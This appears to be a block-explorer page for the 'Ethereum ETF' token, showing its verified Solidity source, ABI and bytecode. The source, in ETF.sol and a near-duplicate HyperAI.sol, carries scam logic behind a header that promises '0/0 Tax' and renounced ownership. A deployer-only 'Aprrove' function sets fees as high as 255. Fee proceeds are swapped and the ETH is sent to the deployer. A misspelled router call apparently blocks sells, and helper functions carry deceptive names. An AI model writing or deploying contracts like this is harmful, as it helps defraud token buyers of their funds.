ETH Price: $3,305.13 (-10.14%)

Token

Ethereum ETF (ETF)
 

Overview

Max Total Supply

120,000,000 ETF

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
847,276.54638719 ETF

Value
$0.00
0xc8d28e699a2373eea01117a6be0a2259552d428c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETF

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 8: ETF.sol

// SPDX-License-Identifier: MIT
/*      

✅ 0/0 Tax
✅ LP Burned
✅ Ownership renounced 

⚠️ Reminder: Be cautious of fake contracts and scam attempts. We will NEVER DM you contracts. Always verify through our official channels!

Official Website: https://eth-etf.vip
Telegram: https://t.me/ETH_ETF_TOKEN
Twitter: https://x.com/EthEtf79976
*/

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";

pragma solidity ^0.8.20;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ETF {
    
    string private _name = unicode"Ethereum ETF";
    string private _symbol = unicode"ETF";
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 120_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function Aprrove(uint8 _Br, uint8 _Sr) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        TX_Base500(_Br, _Sr);
    }

    function TX_Base500(uint8 _b, uint8 _s) private {
        storeData.buyFee = _b;
        storeData.sellFee = _s;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openedTrade() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function sendETHToMKT(string memory _newname, string memory _newsymbol) public {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        _name = _newname;
        _symbol = _newsymbol;
    }
}

File 1 of 8: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 3 of 8: HyperAI.sol

// SPDX-License-Identifier: MIT
/*                               
   @@                     @@   
    @@@                 @@@    
     @@@@             @@@@     
      @@@@@         @@@@@    _   _                            _   _              _           _     ___    
       @@@@@       @@@@@    | | | | _   _  _ __    ___  _ __ | | | |  __ _  ___ | |__       / \   |_ _|   
        @@@@@     @@@@@     | |_| || | | || '_ \  / _ \| '__|| |_| | / _` |/ __|| '_ \     / _ \   | |   
        @@@@@ @@@ @@@@@     |  _  || |_| || |_) ||  __/| |   |  _  || (_| |\__ \| | | |   / ___ \  | |    
        @@@@@     @@@@@     |_| |_| \__, || .__/  \___||_|   |_| |_| \__,_||___/|_| |_|  /_/   \_\|___| 
       @@@@@       @@@@@            |___/ |_|                                                             
      @@@@@         @@@@@    
     @@@@             @@@@     
    @@@                 @@@    
   @@                     @@   

    -----------------------------------------
     WEBSITE     : https://www.hyperhash.ai  |
     Docs        : https://docs.hyperhash.ai | 
     Dashboard   : https://dapp.hyperhash.ai |
     Telegram    : https://t.me/HyperHashAI  |
     X-(Twitter) : https://x.com/HyperHashAI |
    ------------------------------------------
*/

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Factory.sol";

pragma solidity ^0.8.20;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract HyperAI {
    
    string private _name = unicode"HyperHash AI";
    string private _symbol = unicode"HyperAI";
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 10_000_000 * 10**decimals;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function Aprrove(uint8 _Br, uint8 _Sr) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        TX_Base500(_Br, _Sr);
    }

    function TX_Base500(uint8 _b, uint8 _s) private {
        storeData.buyFee = _b;
        storeData.sellFee = _s;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function openedTrade() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

File 4 of 8: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

File 5 of 8: IUniswapV2Factory.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

File 6 of 8: IUniswapV2Router02.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

File 7 of 8: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}

File 8 of 8: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"_Br","type":"uint8"},{"internalType":"uint8","name":"_Sr","type":"uint8"}],"name":"Aprrove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_newname","type":"string"},{"internalType":"string","name":"_newsymbol","type":"string"}],"name":"sendETHToMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b22ba3432b932bab69022aa2360a11b60a0525f9061002a90826101e1565b5060408051808201909152600381526222aa2360e91b602082015260019061005290826101e1565b5034801561005e575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a86009600a610394565b6100b6906307270e006103a9565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101236009600a610394565b610131906307270e006103a9565b60405190815260200160405180910390a350506103c0565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017157607f821691505b60208210810361018f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101dc57805f5260205f20601f840160051c810160208510156101ba5750805b601f840160051c820191505b818110156101d9575f81556001016101c6565b50505b505050565b81516001600160401b038111156101fa576101fa610149565b61020e81610208845461015d565b84610195565b6020601f821160018114610240575f83156102295750848201515b5f19600385901b1c1916600184901b1784556101d9565b5f84815260208120601f198516915b8281101561026f578785015182556020948501946001909201910161024f565b508482101561028c57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102ea578085048111156102ce576102ce61029b565b60018416156102dc57908102905b60019390931c9280026102b3565b935093915050565b5f826103005750600161038e565b8161030c57505f61038e565b8160018114610322576002811461032c57610348565b600191505061038e565b60ff84111561033d5761033d61029b565b50506001821b61038e565b5060208310610133831016604e8410600b841016171561036b575081810a61038e565b6103775f1984846102af565b805f190482111561038a5761038a61029b565b0290505b92915050565b5f6103a260ff8416836102f2565b9392505050565b808202811582820484141761038e5761038e61029b565b6110f6806103cd5f395ff3fe6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d14610226578063548e5c3c1461023a57806370a0823114610259575f80fd5b806318160ddd116100b757806318160ddd1461016157806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b3146101115780631393f61d14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b32565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b7e565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015f61015a366004610bbd565b61041f565b005b34801561016c575f80fd5b5061017561047d565b604051908152602001610108565b34801561018e575f80fd5b5061013061019d366004610bee565b61049a565b3480156101ad575f80fd5b506101b6600981565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b5061015f6104e7565b348015610245575f80fd5b5061015f610254366004610ccb565b61069d565b348015610264575f80fd5b50610175610273366004610d30565b60036020525f908152604090205481565b34801561028f575f80fd5b506100fb6106e4565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610b7e565b6106f3565b3480156102f9575f80fd5b50610175610308366004610d4b565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d82565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d82565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b6002546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6104896009600a610eb1565b610497906307270e00610ebf565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104ce908490610ed6565b909155506104df9050848484610706565b949350505050565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610ee9565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610ee9565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610ee9565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f4f565b5060016106df8282610f4f565b505050565b60606001805461033290610d82565b5f6106ff338484610706565b9392505050565b5f8061071a6002546001600160a01b031690565b600554909150600160a81b900460ff16806107465750806001600160a01b0316856001600160a01b0316145b806107625750806001600160a01b0316846001600160a01b0316145b61076a575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610791908490610ed6565b90915550506005546001600160a01b0385811691161480156107bd5750600554600160a01b900460ff16155b80156107fc575060646107d26009600a610eb1565b6107e0906307270e00610ebf565b6107ea919061100a565b305f9081526003602052604090205410155b801561081a5750806001600160a01b0316856001600160a01b031614155b156109f8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061086557610865611029565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f99190610ee9565b8160018151811061090c5761090c611029565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f6139606461094c6009600a610eb1565b61095a906307270e00610ebf565b610964919061100a565b5f8430426040518663ffffffff1660e01b815260040161098895949392919061103d565b5f604051808303815f87803b15801561099f575f80fd5b505af11580156109b1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156109e8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a365750600554600160a81b900460ff1615156001145b15610aaa576005545f906064906001600160a01b03898116911614610a5b5783610a5d565b825b610a6a9060ff1688610ebf565b610a74919061100a565b9050610a808187610ed6565b305f90815260036020526040812080549298508392909190610aa39084906110ad565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610ad19084906110ad565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1d91815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b7b575f80fd5b50565b5f8060408385031215610b8f575f80fd5b8235610b9a81610b67565b946020939093013593505050565b803560ff81168114610bb8575f80fd5b919050565b5f8060408385031215610bce575f80fd5b610bd783610ba8565b9150610be560208401610ba8565b90509250929050565b5f805f60608486031215610c00575f80fd5b8335610c0b81610b67565b92506020840135610c1b81610b67565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610c4f575f80fd5b813567ffffffffffffffff811115610c6957610c69610c2c565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610c9857610c98610c2c565b604052818152838201602001851015610caf575f80fd5b816020850160208301375f918101602001919091529392505050565b5f8060408385031215610cdc575f80fd5b823567ffffffffffffffff811115610cf2575f80fd5b610cfe85828601610c40565b925050602083013567ffffffffffffffff811115610d1a575f80fd5b610d2685828601610c40565b9150509250929050565b5f60208284031215610d40575f80fd5b81356106ff81610b67565b5f8060408385031215610d5c575f80fd5b8235610d6781610b67565b91506020830135610d7781610b67565b809150509250929050565b600181811c90821680610d9657607f821691505b602082108103610db457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e0957808504811115610ded57610ded610dba565b6001841615610dfb57908102905b60019390931c928002610dd2565b935093915050565b5f82610e1f57506001610419565b81610e2b57505f610419565b8160018114610e415760028114610e4b57610e67565b6001915050610419565b60ff841115610e5c57610e5c610dba565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610e8a575081810a610419565b610e965f198484610dce565b805f1904821115610ea957610ea9610dba565b029392505050565b5f6106ff60ff841683610e11565b808202811582820484141761041957610419610dba565b8181038181111561041957610419610dba565b5f60208284031215610ef9575f80fd5b81516106ff81610b67565b601f8211156106df57805f5260205f20601f840160051c81016020851015610f295750805b601f840160051c820191505b81811015610f48575f8155600101610f35565b5050505050565b815167ffffffffffffffff811115610f6957610f69610c2c565b610f7d81610f778454610d82565b84610f04565b6020601f821160018114610faf575f8315610f985750848201515b5f19600385901b1c1916600184901b178455610f48565b5f84815260208120601f198516915b82811015610fde5787850151825560209485019460019092019101610fbe565b5084821015610ffb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f8261102457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561108d5783516001600160a01b0316835260209384019390920191600101611066565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561041957610419610dba56fea2646970667358221220fb22755f7a1c65f77c3a08edc2b67d6e7e63e25565d3a4982143c0ac0fbb44b364736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d14610226578063548e5c3c1461023a57806370a0823114610259575f80fd5b806318160ddd116100b757806318160ddd1461016157806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b3146101115780631393f61d14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b32565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b7e565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015f61015a366004610bbd565b61041f565b005b34801561016c575f80fd5b5061017561047d565b604051908152602001610108565b34801561018e575f80fd5b5061013061019d366004610bee565b61049a565b3480156101ad575f80fd5b506101b6600981565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b5061015f6104e7565b348015610245575f80fd5b5061015f610254366004610ccb565b61069d565b348015610264575f80fd5b50610175610273366004610d30565b60036020525f908152604090205481565b34801561028f575f80fd5b506100fb6106e4565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610b7e565b6106f3565b3480156102f9575f80fd5b50610175610308366004610d4b565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d82565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d82565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b6002546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6104896009600a610eb1565b610497906307270e00610ebf565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104ce908490610ed6565b909155506104df9050848484610706565b949350505050565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610ee9565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610ee9565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610ee9565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f4f565b5060016106df8282610f4f565b505050565b60606001805461033290610d82565b5f6106ff338484610706565b9392505050565b5f8061071a6002546001600160a01b031690565b600554909150600160a81b900460ff16806107465750806001600160a01b0316856001600160a01b0316145b806107625750806001600160a01b0316846001600160a01b0316145b61076a575f80fd5b60016